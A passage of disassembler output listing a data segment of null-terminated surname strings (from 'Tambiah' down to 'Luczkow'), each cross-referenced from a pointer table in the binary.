aTambiah	db 'Tambiah',0          ; DATA XREF: ___:0042E638o
aTalaugon	db 'Talaugon',0         ; DATA XREF: ___:0042E634o
		align 4
aTai		db 'Tai',0              ; DATA XREF: ___:0042E630o
aTagiuri	db 'Tagiuri',0          ; DATA XREF: ___:0042E62Co
aSwindle	db 'Swindle',0          ; DATA XREF: ___:0042E628o
aSweetser	db 'Sweetser',0         ; DATA XREF: ___:0042E624o
		align 4
aSweeting	db 'Sweeting',0         ; DATA XREF: ___:0042E620o
		align 10h
aSurdam		db 'Surdam',0           ; DATA XREF: ___:0042E61Co
		align 4
aSuo		db 'Suo',0              ; DATA XREF: ___:0042E618o
aSumner		db 'Sumner',0           ; DATA XREF: ___:0042E614o
		align 4
aSullivan	db 'Sullivan',0         ; DATA XREF: ___:0042E610o
		align 10h
aStringer	db 'Stringer',0         ; DATA XREF: ___:0042E60Co
		align 4
aStreiff	db 'Streiff',0          ; DATA XREF: ___:0042E608o
aStrauch	db 'Strauch',0          ; DATA XREF: ___:0042E604o
aStrange	db 'Strange',0          ; DATA XREF: ___:0042E600o
aStott		db 'Stott',0            ; DATA XREF: ___:0042E5FCo
		align 4
aStorer		db 'Storer',0           ; DATA XREF: ___:0042E5F8o
		align 4
aStonich	db 'Stonich',0          ; DATA XREF: ___:0042E5F4o
aStolzenberg	db 'Stolzenberg',0      ; DATA XREF: ___:0042E5F0o
aStockwell	db 'Stockwell',0        ; DATA XREF: ___:0042E5ECo
		align 4
aStockton	db 'Stockton',0         ; DATA XREF: ___:0042E5E8o
		align 10h
aStock		db 'Stock',0            ; DATA XREF: ___:0042E5E4o
		align 4
aStillwell	db 'Stillwell',0        ; DATA XREF: ___:0042E5E0o
		align 4
aStiepock	db 'Stiepock',0         ; DATA XREF: ___:0042E5DCo
		align 10h
aStewartOaten	db 'Stewart-Oaten',0    ; DATA XREF: ___:0042E5D8o
		align 10h
aStepniewska	db 'Stepniewska',0      ; DATA XREF: ___:0042E5D4o
aStephanian	db 'Stephanian',0       ; DATA XREF: ___:0042E5D0o
		align 4
aSteiner	db 'Steiner',0          ; DATA XREF: ___:0042E5CCo
aStefani	db 'Stefani',0          ; DATA XREF: ___:0042E5C8o
aStatlender	db 'Statlender',0       ; DATA XREF: ___:0042E5C4o
		align 4
aStates		db 'States',0           ; DATA XREF: ___:0042E5C0o
		align 4
aStassinopolus	db 'Stassinopolus',0    ; DATA XREF: ___:0042E5BCo
		align 4
aStang		db 'Stang',0            ; DATA XREF: ___:0042E5B8o
		align 4
aStam		db 'Stam',0             ; DATA XREF: ___:0042E5B4o
		align 4
aStalvey	db 'Stalvey',0          ; DATA XREF: ___:0042E5B0o
aStmartin	db 'StMartin',0         ; DATA XREF: ___:0042E5ACo
		align 10h
aSpinrad	db 'Spinrad',0          ; DATA XREF: ___:0042E5A8o
aSpiliotis	db 'Spiliotis',0        ; DATA XREF: ___:0042E5A4o
		align 4
aSpiegelhalter	db 'Spiegelhalter',0    ; DATA XREF: ___:0042E5A0o
		align 4
aSpicer		db 'Spicer',0           ; DATA XREF: ___:0042E59Co
		align 4
aSperber	db 'Sperber',0          ; DATA XREF: ___:0042E598o
aSpence		db 'Spence',0           ; DATA XREF: ___:0042E594o
		align 4
aSpeizer	db 'Speizer',0          ; DATA XREF: ___:0042E590o
aSpaulding	db 'Spaulding',0        ; DATA XREF: ___:0042E58Co
		align 10h
aSparrow	db 'Sparrow',0          ; DATA XREF: ___:0042E588o
aSpanier	db 'Spanier',0          ; DATA XREF: ___:0042E584o
aSoultanian	db 'Soultanian',0       ; DATA XREF: ___:0042E580o
		align 4
aSoule		db 'Soule',0            ; DATA XREF: ___:0042E57Co
		align 4
aSoukup		db 'Soukup',0           ; DATA XREF: ___:0042E578o
		align 4
aSottak		db 'Sottak',0           ; DATA XREF: ___:0042E574o
		align 4
aSorg		db 'Sorg',0             ; DATA XREF: ___:0042E570o
		align 4
aSorabella	db 'Sorabella',0        ; DATA XREF: ___:0042E56Co
		align 4
aSommariva	db 'Sommariva',0        ; DATA XREF: ___:0042E568o
		align 4
aSomers		db 'Somers',0           ; DATA XREF: ___:0042E564o
		align 4
aSolon		db 'Solon',0            ; DATA XREF: ___:0042E560o
		align 4
aSocolow	db 'Socolow',0          ; DATA XREF: ___:0042E55Co
aSnodgrass	db 'Snodgrass',0        ; DATA XREF: ___:0042E558o
		align 4
aSniffen	db 'Sniffen',0          ; DATA XREF: ___:0042E554o
aSmilow		db 'Smilow',0           ; DATA XREF: ___:0042E550o
		align 4
aSlowe		db 'Slowe',0            ; DATA XREF: ___:0042E54Co
		align 10h
aSloan		db 'Sloan',0            ; DATA XREF: ___:0042E548o
		align 4
aSkoda		db 'Skoda',0            ; DATA XREF: ___:0042E544o
		align 10h
aSkerry		db 'Skerry',0           ; DATA XREF: ___:0042E540o
		align 4
aSkane		db 'Skane',0            ; DATA XREF: ___:0042E53Co
		align 10h
aSites		db 'Sites',0            ; DATA XREF: ___:0042E538o
		align 4
aSirilli	db 'Sirilli',0          ; DATA XREF: ___:0042E534o
aSinsabaugh	db 'Sinsabaugh',0       ; DATA XREF: ___:0042E530o
		align 4
aSilvetti	db 'Silvetti',0         ; DATA XREF: ___:0042E52Co
		align 4
aSilverman	db 'Silverman',0        ; DATA XREF: ___:0042E528o
		align 4
aSigna		db 'Signa',0            ; DATA XREF: ___:0042E524o
		align 4
aSigini		db 'Sigini',0           ; DATA XREF: ___:0042E520o
		align 4
aSigalot	db 'Sigalot',0          ; DATA XREF: ___:0042E51Co
aSiesto		db 'Siesto',0           ; DATA XREF: ___:0042E518o
		align 4
aShimon		db 'Shimon',0           ; DATA XREF: ___:0042E514o
		align 4
aShibata	db 'Shibata',0          ; DATA XREF: ___:0042E510o
aShia		db 'Shia',0             ; DATA XREF: ___:0042E50Co
		align 4
aShesko		db 'Shesko',0           ; DATA XREF: ___:0042E508o
		align 4
aShepstone	db 'Shepstone',0        ; DATA XREF: ___:0042E504o
		align 10h
aSheppard	db 'Sheppard',0         ; DATA XREF: ___:0042E500o
		align 4
aShepherd	db 'Shepherd',0         ; DATA XREF: ___:0042E4FCo
		align 4
aSheats		db 'Sheats',0           ; DATA XREF: ___:0042E4F8o
		align 10h
aShea		db 'Shea',0             ; DATA XREF: ___:0042E4F4o
		align 4
aShavelson	db 'Shavelson',0        ; DATA XREF: ___:0042E4F0o
		align 4
aShatrov	db 'Shatrov',0          ; DATA XREF: ___:0042E4ECo
aShar		db 'Shar',0             ; DATA XREF: ___:0042E4E8o
		align 4
aShanley	db 'Shanley',0          ; DATA XREF: ___:0042E4E4o
aShankland	db 'Shankland',0        ; DATA XREF: ___:0042E4E0o
		align 4
aShakis		db 'Shakis',0           ; DATA XREF: ___:0042E4DCo
		align 10h
aShaikh		db 'Shaikh',0           ; DATA XREF: ___:0042E4D8o
		align 4
aSeyfert	db 'Seyfert',0          ; DATA XREF: ___:0042E4D4o
aSexton		db 'Sexton',0           ; DATA XREF: ___:0042E4D0o
		align 4
aSeterdahl	db 'Seterdahl',0        ; DATA XREF: ___:0042E4CCo
		align 4
aSennett	db 'Sennett',0          ; DATA XREF: ___:0042E4C8o
aSen		db 'Sen',0              ; DATA XREF: ___:0042E4C4o
aSelvage	db 'Selvage',0          ; DATA XREF: ___:0042E4C0o
aSekler		db 'Sekler',0           ; DATA XREF: ___:0042E4BCo
		align 10h
aSegal		db 'Segal',0            ; DATA XREF: ___:0042E4B8o
		align 4
aSeeber		db 'Seeber',0           ; DATA XREF: ___:0042E4B4o
		align 10h
aSeaton		db 'Seaton',0           ; DATA XREF: ___:0042E4B0o
		align 4
aScudder	db 'Scudder',0          ; DATA XREF: ___:0042E4ACo
aScovel		db 'Scovel',0           ; DATA XREF: ___:0042E4A8o
		align 4
aSchwickrath	db 'Schwickrath',0      ; DATA XREF: ___:0042E4A4o
aSchwan		db 'Schwan',0           ; DATA XREF: ___:0042E4A0o
		align 4
aSchuyler	db 'Schuyler',0         ; DATA XREF: ___:0042E49Co
		align 4
aSchutte	db 'Schutte',0          ; DATA XREF: ___:0042E498o
aSchuman	db 'Schuman',0          ; DATA XREF: ___:0042E494o
aSchossberger	db 'Schossberger',0     ; DATA XREF: ___:0042E490o
		align 4
aSchmitt	db 'Schmitt',0          ; DATA XREF: ___:0042E48Co
aSchilling	db 'Schilling',0        ; DATA XREF: ___:0042E488o
		align 4
aSchifini	db 'Schifini',0         ; DATA XREF: ___:0042E484o
		align 4
aSchiano	db 'Schiano',0          ; DATA XREF: ___:0042E480o
aScheiner	db 'Scheiner',0         ; DATA XREF: ___:0042E47Co
		align 4
aScharlemann	db 'Scharlemann',0      ; DATA XREF: ___:0042E478o
aScharf		db 'Scharf',0           ; DATA XREF: ___:0042E474o
		align 10h
aScepan		db 'Scepan',0           ; DATA XREF: ___:0042E470o
		align 4
aScarponi	db 'Scarponi',0         ; DATA XREF: ___:0042E46Co
		align 4
aSayied		db 'Sayied',0           ; DATA XREF: ___:0042E468o
		align 4
aSawtell	db 'Sawtell',0          ; DATA XREF: ___:0042E464o
aSatterthwaite	db 'Satterthwaite',0    ; DATA XREF: ___:0042E460o
		align 4
aSatta		db 'Satta',0            ; DATA XREF: ___:0042E45Co
		align 4
aSatin		db 'Satin',0            ; DATA XREF: ___:0042E458o
		align 4
aSase		db 'Sase',0             ; DATA XREF: ___:0042E454o
		align 4
aSartore	db 'Sartore',0          ; DATA XREF: ___:0042E450o
aSarin		db 'Sarin',0            ; DATA XREF: ___:0042E44Co
		align 4
aSapers		db 'Sapers',0           ; DATA XREF: ___:0042E448o
		align 4
aSanna		db 'Sanna',0            ; DATA XREF: ___:0042E444o
		align 4
aSanchezRamirez	db 'Sanchez-Ramirez',0  ; DATA XREF: ___:0042E440o
aSamson		db 'Samson',0           ; DATA XREF: ___:0042E43Co
		align 4
aSali		db 'Sali',0             ; DATA XREF: ___:0042E438o
		align 4
aSahu		db 'Sahu',0             ; DATA XREF: ___:0042E434o
		align 4
aSafire		db 'Safire',0           ; DATA XREF: ___:0042E430o
		align 4
aSadler		db 'Sadler',0           ; DATA XREF: ___:0042E42Co
		align 4
aSabatello	db 'Sabatello',0        ; DATA XREF: ___:0042E428o
		align 10h
aRyu		db 'Ryu',0              ; DATA XREF: ___:0042E424o
aRush		db 'Rush',0             ; DATA XREF: ___:0042E420o
		align 4
aRuescher	db 'Ruescher',0         ; DATA XREF: ___:0042E41Co
		align 4
aRuderman	db 'Ruderman',0         ; DATA XREF: ___:0042E418o
		align 4
aRuan		db 'Ruan',0             ; DATA XREF: ___:0042E414o
		align 4
aRu		db 'Ru',0               ; DATA XREF: ___:0042E410o
		align 10h
aRoyal		db 'Royal',0            ; DATA XREF: ___:0042E40Co
		align 4
aRow		db 'Row',0              ; DATA XREF: ___:0042E408o
aRonen		db 'Ronen',0            ; DATA XREF: ___:0042E404o
		align 4
aRogers		db 'Rogers',0           ; DATA XREF: ___:0042E400o
		align 4
aRoesler	db 'Roesler',0          ; DATA XREF: ___:0042E3FCo
aRocha		db 'Rocha',0            ; DATA XREF: ___:0042E3F8o
		align 4
aRobinson	db 'Robinson',0         ; DATA XREF: ___:0042E3F4o
		align 4
aRivera		db 'Rivera',0           ; DATA XREF: ___:0042E3F0o
		align 10h
aRish		db 'Rish',0             ; DATA XREF: ___:0042E3ECo
		align 4
aRineer		db 'Rineer',0           ; DATA XREF: ___:0042E3E8o
		align 10h
aRindos		db 'Rindos',0           ; DATA XREF: ___:0042E3E4o
		align 4
aRielly		db 'Rielly',0           ; DATA XREF: ___:0042E3E0o
		align 10h
aRichmond	db 'Richmond',0         ; DATA XREF: ___:0042E3DCo
		align 4
aRhea		db 'Rhea',0             ; DATA XREF: ___:0042E3D8o
		align 4
aResnik		db 'Resnik',0           ; DATA XREF: ___:0042E3D4o
		align 4
aRepetto	db 'Repetto',0          ; DATA XREF: ___:0042E3D0o
aRenick		db 'Renick',0           ; DATA XREF: ___:0042E3CCo
		align 4
aRemak		db 'Remak',0            ; DATA XREF: ___:0042E3C8o
		align 4
aReinold	db 'Reinold',0          ; DATA XREF: ___:0042E3C4o
aCunningham	db 'Cunningham',0       ; DATA XREF: ___:0042E3C0o
		align 4
aReedquist	db 'Reedquist',0        ; DATA XREF: ___:0042E3BCo
		align 4
aReddenTyler	db 'Redden-Tyler',0     ; DATA XREF: ___:0042E3B8o
		align 4
aRayport	db 'Rayport',0          ; DATA XREF: ___:0042E3B4o
aRapple		db 'Rapple',0           ; DATA XREF: ___:0042E3B0o
		align 4
aRankin		db 'Rankin',0           ; DATA XREF: ___:0042E3ACo
		align 4
aRangan		db 'Rangan',0           ; DATA XREF: ___:0042E3A8o
		align 4
aRaney		db 'Raney',0            ; DATA XREF: ___:0042E3A4o
		align 4
aRajagopalan	db 'Rajagopalan',0      ; DATA XREF: ___:0042E3A0o
aRadeke		db 'Radeke',0           ; DATA XREF: ___:0042E39Co
		align 10h
aRabkin		db 'Rabkin',0           ; DATA XREF: ___:0042E398o
		align 4
aRabe		db 'Rabe',0             ; DATA XREF: ___:0042E394o
		align 10h
aQuetin		db 'Quetin',0           ; DATA XREF: ___:0042E390o
		align 4
aQuaday		db 'Quaday',0           ; DATA XREF: ___:0042E38Co
		align 10h
aPynchon	db 'Pynchon',0          ; DATA XREF: ___:0042E388o
aPugh		db 'Pugh',0             ; DATA XREF: ___:0042E384o
		align 10h
aPuccia		db 'Puccia',0           ; DATA XREF: ___:0042E380o
		align 4
aProthrowStith	db 'Prothrow-Stith',0   ; DATA XREF: ___:0042E37Co
		align 4
aProietti	db 'Proietti',0         ; DATA XREF: ___:0042E378o
		align 4
aPritz		db 'Pritz',0            ; DATA XREF: ___:0042E374o
		align 4
aPritchard	db 'Pritchard',0        ; DATA XREF: ___:0042E370o
		align 4
aPrevost	db 'Prevost',0          ; DATA XREF: ___:0042E36Co
aPreucel	db 'Preucel',0          ; DATA XREF: ___:0042E368o
aPresper	db 'Presper',0          ; DATA XREF: ___:0042E364o
aPowers		db 'Powers',0           ; DATA XREF: ___:0042E360o
		align 4
aPoolman	db 'Poolman',0          ; DATA XREF: ___:0042E35Co
aPoma		db 'Poma',0             ; DATA XREF: ___:0042E358o
		align 4
aPolitis	db 'Politis',0          ; DATA XREF: ___:0042E354o
aPolanyi	db 'Polanyi',0          ; DATA XREF: ___:0042E350o
aPolak		db 'Polak',0            ; DATA XREF: ___:0042E34Co
		align 10h
aPoirier	db 'Poirier',0          ; DATA XREF: ___:0042E348o
aPointer	db 'Pointer',0          ; DATA XREF: ___:0042E344o
aPoincaire	db 'Poincaire',0        ; DATA XREF: ___:0042E340o
		align 4
aPocobene	db 'Pocobene',0         ; DATA XREF: ___:0042E33Co
		align 4
aPo		db 'Po',0               ; DATA XREF: ___:0042E338o
		align 4
aPlous		db 'Plous',0            ; DATA XREF: ___:0042E334o
		align 4
aPlasket	db 'Plasket',0          ; DATA XREF: ___:0042E330o
aPlant		db 'Plant',0            ; DATA XREF: ___:0042E32Co
		align 4
aPlancon	db 'Plancon',0          ; DATA XREF: ___:0042E328o
aPinot		db 'Pinot',0            ; DATA XREF: ___:0042E324o
		align 4
aPilbeam	db 'Pilbeam',0          ; DATA XREF: ___:0042E320o
aPfister	db 'Pfister',0          ; DATA XREF: ___:0042E31Co
aPettit		db 'Pettit',0           ; DATA XREF: ___:0042E318o
		align 4
aPettibone	db 'Pettibone',0        ; DATA XREF: ___:0042E314o
		align 4
aPetruzello	db 'Petruzello',0       ; DATA XREF: ___:0042E310o
		align 4
aPeters		db 'Peters',0           ; DATA XREF: ___:0042E30Co
		align 4
aPerrimon	db 'Perrimon',0         ; DATA XREF: ___:0042E308o
		align 4
aPerone		db 'Perone',0           ; DATA XREF: ___:0042E304o
		align 10h
aPerna		db 'Perna',0            ; DATA XREF: ___:0042E300o
		align 4
aPerlman	db 'Perlman',0          ; DATA XREF: ___:0042E2FCo
aPerlak		db 'Perlak',0           ; DATA XREF: ___:0042E2F8o
		align 4
aPerko		db 'Perko',0            ; DATA XREF: ___:0042E2F4o
		align 10h
aPereira	db 'Pereira',0          ; DATA XREF: ___:0042E2F0o
aPenny		db 'Penny',0            ; DATA XREF: ___:0042E2ECo
		align 10h
aPeishel	db 'Peishel',0          ; DATA XREF: ___:0042E2E8o
aPederson	db 'Pederson',0         ; DATA XREF: ___:0042E2E4o
		align 4
aPearlberg	db 'Pearlberg',0        ; DATA XREF: ___:0042E2E0o
		align 10h
aPeabody	db 'Peabody',0          ; DATA XREF: ___:0042E2DCo
aPaynter	db 'Paynter',0          ; DATA XREF: ___:0042E2D8o
aPawloski	db 'Pawloski',0         ; DATA XREF: ___:0042E2D4o
		align 4
aPavlon		db 'Pavlon',0           ; DATA XREF: ___:0042E2D0o
		align 4
aPavetti	db 'Pavetti',0          ; DATA XREF: ___:0042E2CCo
aPattullo	db 'Pattullo',0         ; DATA XREF: ___:0042E2C8o
		align 4
aPatrick	db 'Patrick',0          ; DATA XREF: ___:0042E2C4o
aPatefield	db 'Patefield',0        ; DATA XREF: ___:0042E2C0o
		align 4
aPascucci	db 'Pascucci',0         ; DATA XREF: ___:0042E2BCo
		align 4
aPartridge	db 'Partridge',0        ; DATA XREF: ___:0042E2B8o
		align 4
aParris		db 'Parris',0           ; DATA XREF: ___:0042E2B4o
		align 4
aParmeggiani	db 'Parmeggiani',0      ; DATA XREF: ___:0042E2B0o
aPaoletti	db 'Paoletti',0         ; DATA XREF: ___:0042E2ACo
		align 4
aPantilla	db 'Pantilla',0         ; DATA XREF: ___:0042E2A8o
		align 10h
aPanizzon	db 'Panizzon',0         ; DATA XREF: ___:0042E2A4o
		align 4
aPanadero	db 'Panadero',0         ; DATA XREF: ___:0042E2A0o
		align 4
aPalmitesta	db 'Palmitesta',0       ; DATA XREF: ___:0042E29Co
		align 4
aPallara	db 'Pallara',0          ; DATA XREF: ___:0042E298o
aPalepu		db 'Palepu',0           ; DATA XREF: ___:0042E294o
		align 4
aPalayoor	db 'Palayoor',0         ; DATA XREF: ___:0042E290o
		align 10h
aPaine		db 'Paine',0            ; DATA XREF: ___:0042E28Co
		align 4
aPaesdealmeida	db 'PaesDealmeida',0    ; DATA XREF: ___:0042E288o
		align 4
aOvid		db 'Ovid',0             ; DATA XREF: ___:0042E284o
		align 10h
aOuchida	db 'Ouchida',0          ; DATA XREF: ___:0042E280o
aOtten		db 'Otten',0            ; DATA XREF: ___:0042E27Co
		align 10h
aOttaviani	db 'Ottaviani',0        ; DATA XREF: ___:0042E278o
		align 4
aOstrowski	db 'Ostrowski',0        ; DATA XREF: ___:0042E274o
		align 4
aOspina		db 'Ospina',0           ; DATA XREF: ___:0042E270o
		align 10h
aOrsi		db 'Orsi',0             ; DATA XREF: ___:0042E26Co
		align 4
aOrfield	db 'Orfield',0          ; DATA XREF: ___:0042E268o
aOray		db 'Oray',0             ; DATA XREF: ___:0042E264o
		align 4
aOpel		db 'Opel',0             ; DATA XREF: ___:0042E260o
		align 10h
aOMeara		db 'O',27h,'meara',0    ; DATA XREF: ___:0042E25Co
aOman		db 'Oman',0             ; DATA XREF: ___:0042E258o
		align 10h
aOMalley	db 'O',27h,'malley',0   ; DATA XREF: ___:0042E254o
		align 4
aOlszewski	db 'Olszewski',0        ; DATA XREF: ___:0042E250o
		align 4
aOlson		db 'Olson',0            ; DATA XREF: ___:0042E24Co
		align 10h
aOlsen		db 'Olsen',0            ; DATA XREF: ___:0042E248o
		align 4
aOldford	db 'Oldford',0          ; DATA XREF: ___:0042E244o
aOHagan		db 'O',27h,'hagan',0    ; DATA XREF: ___:0042E240o
aOh		db 'Oh',0               ; DATA XREF: ___:0042E23Co
		align 4
aOgata		db 'Ogata',0            ; DATA XREF: ___:0042E238o
		align 4
aOcougne	db 'Ocougne',0          ; DATA XREF: ___:0042E234o
aNuzum		db 'Nuzum',0            ; DATA XREF: ___:0042E230o
		align 4
aNotman		db 'Notman',0           ; DATA XREF: ___:0042E22Co
		align 4
aNitabach	db 'Nitabach',0         ; DATA XREF: ___:0042E228o
		align 4
aNisenson	db 'Nisenson',0         ; DATA XREF: ___:0042E224o
		align 4
aNickoloff	db 'Nickoloff',0        ; DATA XREF: ___:0042E220o
		align 10h
aNickerson	db 'Nickerson',0        ; DATA XREF: ___:0042E21Co
		align 4
aNi_0		db 'Ni',0               ; DATA XREF: ___:0042E218o
		align 10h
aNg		db 'Ng',0               ; DATA XREF: ___:0042E214o
		align 4
aNewlin		db 'Newlin',0           ; DATA XREF: ___:0042E210o
		align 4
aNewfeld	db 'Newfeld',0          ; DATA XREF: ___:0042E20Co
aNeuman		db 'Neuman',0           ; DATA XREF: ___:0042E208o
		align 4
aNesci		db 'Nesci',0            ; DATA XREF: ___:0042E204o
		align 4
aNenna		db 'Nenna',0            ; DATA XREF: ___:0042E200o
		align 4
aNelson		db 'Nelson',0           ; DATA XREF: ___:0042E1FCo
		align 4
aNayduch	db 'Nayduch',0          ; DATA XREF: ___:0042E1F8o
aNaviaux	db 'Naviaux',0          ; DATA XREF: ___:0042E1F4o
aNardone	db 'Nardone',0          ; DATA XREF: ___:0042E1F0o
aNardi		db 'Nardi',0            ; DATA XREF: ___:0042E1ECo
		align 4
aNapolitano	db 'Napolitano',0       ; DATA XREF: ___:0042E1E8o
		align 10h
aNaddeo		db 'Naddeo',0           ; DATA XREF: ___:0042E1E4o
		align 4
aMussachio	db 'Mussachio',0        ; DATA XREF: ___:0042E1E0o
		align 4
aMumford	db 'Mumford',0          ; DATA XREF: ___:0042E1DCo
aMulroy		db 'Mulroy',0           ; DATA XREF: ___:0042E1D8o
		align 4
aMulkern	db 'Mulkern',0          ; DATA XREF: ___:0042E1D4o
aMugnai		db 'Mugnai',0           ; DATA XREF: ___:0042E1D0o
		align 4
aMuello		db 'Muello',0           ; DATA XREF: ___:0042E1CCo
		align 4
aMudarri	db 'Mudarri',0          ; DATA XREF: ___:0042E1C8o
aMotooka	db 'Motooka',0          ; DATA XREF: ___:0042E1C4o
aMostafavi	db 'Mostafavi',0        ; DATA XREF: ___:0042E1C0o
		align 4
aMosler		db 'Mosler',0           ; DATA XREF: ___:0042E1BCo
		align 10h
aMosher		db 'Mosher',0           ; DATA XREF: ___:0042E1B8o
		align 4
aMortimer	db 'Mortimer',0         ; DATA XREF: ___:0042E1B4o
		align 4
aMorrow		db 'Morrow',0           ; DATA XREF: ___:0042E1B0o
		align 4
aMorrison	db 'Morrison',0         ; DATA XREF: ___:0042E1ACo
		align 4
aMoreton	db 'Moreton',0          ; DATA XREF: ___:0042E1A8o
aMorani		db 'Morani',0           ; DATA XREF: ___:0042E1A4o
		align 4
aMooredech_	db 'MooreDeCh.',0       ; DATA XREF: ___:0042E1A0o
		align 4
aMontilio	db 'Montilio',0         ; DATA XREF: ___:0042E19Co
		align 10h
aMonque		db 'Monque',0           ; DATA XREF: ___:0042E198o
		align 4
aMoiamedi	db 'Moiamedi',0         ; DATA XREF: ___:0042E194o
		align 4
aMohr		db 'Mohr',0             ; DATA XREF: ___:0042E190o
		align 4
aMoeller	db 'Moeller',0          ; DATA XREF: ___:0042E18Co
aModestino	db 'Modestino',0        ; DATA XREF: ___:0042E188o
		align 10h
aMocroft	db 'Mocroft',0          ; DATA XREF: ___:0042E184o
aMittal		db 'Mittal',0           ; DATA XREF: ___:0042E180o
		align 10h
aMitropoulos	db 'Mitropoulos',0      ; DATA XREF: ___:0042E17Co
aGonzalez	db 'Gonzalez',0         ; DATA XREF: ___:0042E178o
		align 4
aMinichiello	db 'Minichiello',0      ; DATA XREF: ___:0042E174o
aMini		db 'Mini',0             ; DATA XREF: ___:0042E170o
		align 4
aMinh		db 'Minh',0             ; DATA XREF: ___:0042E16Co
		align 4
aMills		db 'Mills',0            ; DATA XREF: ___:0042E168o
		align 4
aMieher		db 'Mieher',0           ; DATA XREF: ___:0042E164o
		align 4
aMiddle		db 'Middle',0           ; DATA XREF: ___:0042E160o
		align 4
aMichelman	db 'Michelman',0        ; DATA XREF: ___:0042E15Co
		align 4
aMeurer		db 'Meurer',0           ; DATA XREF: ___:0042E158o
		align 10h
aMetropolis	db 'Metropolis',0       ; DATA XREF: ___:0042E154o
		align 4
aMetelka	db 'Metelka',0          ; DATA XREF: ___:0042E150o
aMerz		db 'Merz',0             ; DATA XREF: ___:0042E14Co
		align 4
aMerseth	db 'Merseth',0          ; DATA XREF: ___:0042E148o
aMerminod	db 'Merminod',0         ; DATA XREF: ___:0042E144o
		align 10h
aMerlani	db 'Merlani',0          ; DATA XREF: ___:0042E140o
aMerikoski	db 'Merikoski',0        ; DATA XREF: ___:0042E13Co
		align 4
aMenzies	db 'Menzies',0          ; DATA XREF: ___:0042E138o
aMemisoglu	db 'Memisoglu',0        ; DATA XREF: ___:0042E134o
		align 4
aMeccariello	db 'Meccariello',0      ; DATA XREF: ___:0042E130o
aMcnulty	db 'Mcnulty',0          ; DATA XREF: ___:0042E12Co
aMcnealy	db 'Mcnealy',0          ; DATA XREF: ___:0042E128o
aMclaren	db 'Mclaren',0          ; DATA XREF: ___:0042E124o
aMclane		db 'Mclane',0           ; DATA XREF: ___:0042E120o
		align 4
aMckenna	db 'Mckenna',0          ; DATA XREF: ___:0042E11Co
aMcintosh	db 'Mcintosh',0         ; DATA XREF: ___:0042E118o
		align 4
aMcilroy	db 'McIlroy',0          ; DATA XREF: ___:0042E114o
aMcgoldrick	db 'Mcgoldrick',0       ; DATA XREF: ___:0042E110o
		align 4
aMcghee		db 'Mcghee',0           ; DATA XREF: ___:0042E10Co
		align 4
aMcfadden	db 'McFadden',0         ; DATA XREF: ___:0042E108o
		align 10h
aMcelroy	db 'Mcelroy',0          ; DATA XREF: ___:0042E104o
aMcdowell	db 'Mcdowell',0         ; DATA XREF: ___:0042E100o
		align 4
aMcclearn	db 'Mcclearn',0         ; DATA XREF: ___:0042E0FCo
		align 10h
aMccall		db 'Mccall',0           ; DATA XREF: ___:0042E0F8o
		align 4
aMccaffery	db 'Mccaffery',0        ; DATA XREF: ___:0042E0F4o
		align 4
aMcbride	db 'Mcbride',0          ; DATA XREF: ___:0042E0F0o
aMazziotta	db 'Mazziotta',0        ; DATA XREF: ___:0042E0ECo
		align 4
aMazzali	db 'Mazzali',0          ; DATA XREF: ___:0042E0E8o
aMay		db 'May',0              ; DATA XREF: ___:0042E0E4o
aMauzy		db 'Mauzy',0            ; DATA XREF: ___:0042E0E0o
		align 4
aMattson	db 'Mattson',0          ; DATA XREF: ___:0042E0DCo
aMatsukata	db 'Matsukata',0        ; DATA XREF: ___:0042E0D8o
		align 10h
aMatarazzo	db 'Matarazzo',0        ; DATA XREF: ___:0042E0D4o
		align 4
aMatalka	db 'Matalka',0          ; DATA XREF: ___:0042E0D0o
aMass		db 'Mass',0             ; DATA XREF: ___:0042E0CCo
		align 4
aMarubini	db 'Marubini',0         ; DATA XREF: ___:0042E0C8o
		align 4
aMarton		db 'Marton',0           ; DATA XREF: ___:0042E0C4o
		align 10h
aMartochio	db 'Martochio',0        ; DATA XREF: ___:0042E0C0o
		align 4
aMartinez	db 'Martinez',0         ; DATA XREF: ___:0042E0BCo
		align 4
aMarques	db 'Marques',0          ; DATA XREF: ___:0042E0B8o
aMargetts	db 'Margetts',0         ; DATA XREF: ___:0042E0B4o
		align 4
aMargalit	db 'Margalit',0         ; DATA XREF: ___:0042E0B0o
		align 4
aMarcus		db 'Marcus',0           ; DATA XREF: ___:0042E0ACo
		align 10h
aMarchbanks	db 'Marchbanks',0       ; DATA XREF: ___:0042E0A8o
		align 4
aMarch		db 'March',0            ; DATA XREF: ___:0042E0A4o
		align 4
aMantovan	db 'Mantovan',0         ; DATA XREF: ___:0042E0A0o
		align 10h
aManganiello	db 'Manganiello',0      ; DATA XREF: ___:0042E09Co
aMandel		db 'Mandel',0           ; DATA XREF: ___:0042E098o
		align 4
aManalis	db 'Manalis',0          ; DATA XREF: ___:0042E094o
aMalova		db 'Malova',0           ; DATA XREF: ___:0042E090o
		align 4
aMaller		db 'Maller',0           ; DATA XREF: ___:0042E08Co
		align 4
aMalatesta	db 'Malatesta',0        ; DATA XREF: ___:0042E088o
		align 4
aMaisano	db 'Maisano',0          ; DATA XREF: ___:0042E084o
aMaineHershey	db 'Maine-Hershey',0    ; DATA XREF: ___:0042E080o
		align 10h
aMaier		db 'Maier',0            ; DATA XREF: ___:0042E07Co
		align 4
aMahony		db 'Mahony',0           ; DATA XREF: ___:0042E078o
		align 10h
aMaggio		db 'Maggio',0           ; DATA XREF: ___:0042E074o
		align 4
aMadigan	db 'Madigan',0          ; DATA XREF: ___:0042E070o
aMacy		db 'Macy',0             ; DATA XREF: ___:0042E06Co
		align 4
aMacmillan	db 'MacMillan',0        ; DATA XREF: ___:0042E068o
		align 4
aMackenney	db 'Mackenney',0        ; DATA XREF: ___:0042E064o
		align 10h
aMacintyre	db 'Macintyre',0        ; DATA XREF: ___:0042E060o
		align 4
aMaceachern	db 'Maceachern',0       ; DATA XREF: ___:0042E05Co
		align 4
aMacdonald	db 'Macdonald',0        ; DATA XREF: ___:0042E058o
		align 4
aMaccormac	db 'Maccormac',0        ; DATA XREF: ___:0042E054o
		align 10h
aMa		db 'Ma',0               ; DATA XREF: ___:0042E050o
		align 4
aLuzader	db 'Luzader',0          ; DATA XREF: ___:0042E04Co
aLutcavage	db 'Lutcavage',0        ; DATA XREF: ___:0042E048o
		align 4
aLussier	db 'Lussier',0          ; DATA XREF: ___:0042E044o
aLuoma		db 'Luoma',0            ; DATA XREF: ___:0042E040o
		align 4
aLunetta	db 'Lunetta',0          ; DATA XREF: ___:0042E03Co
aLuecke		db 'Luecke',0           ; DATA XREF: ___:0042E038o
		align 4
aLuczkow	db 'Luczkow',0          ; DATA XREF: ___:0042E034o
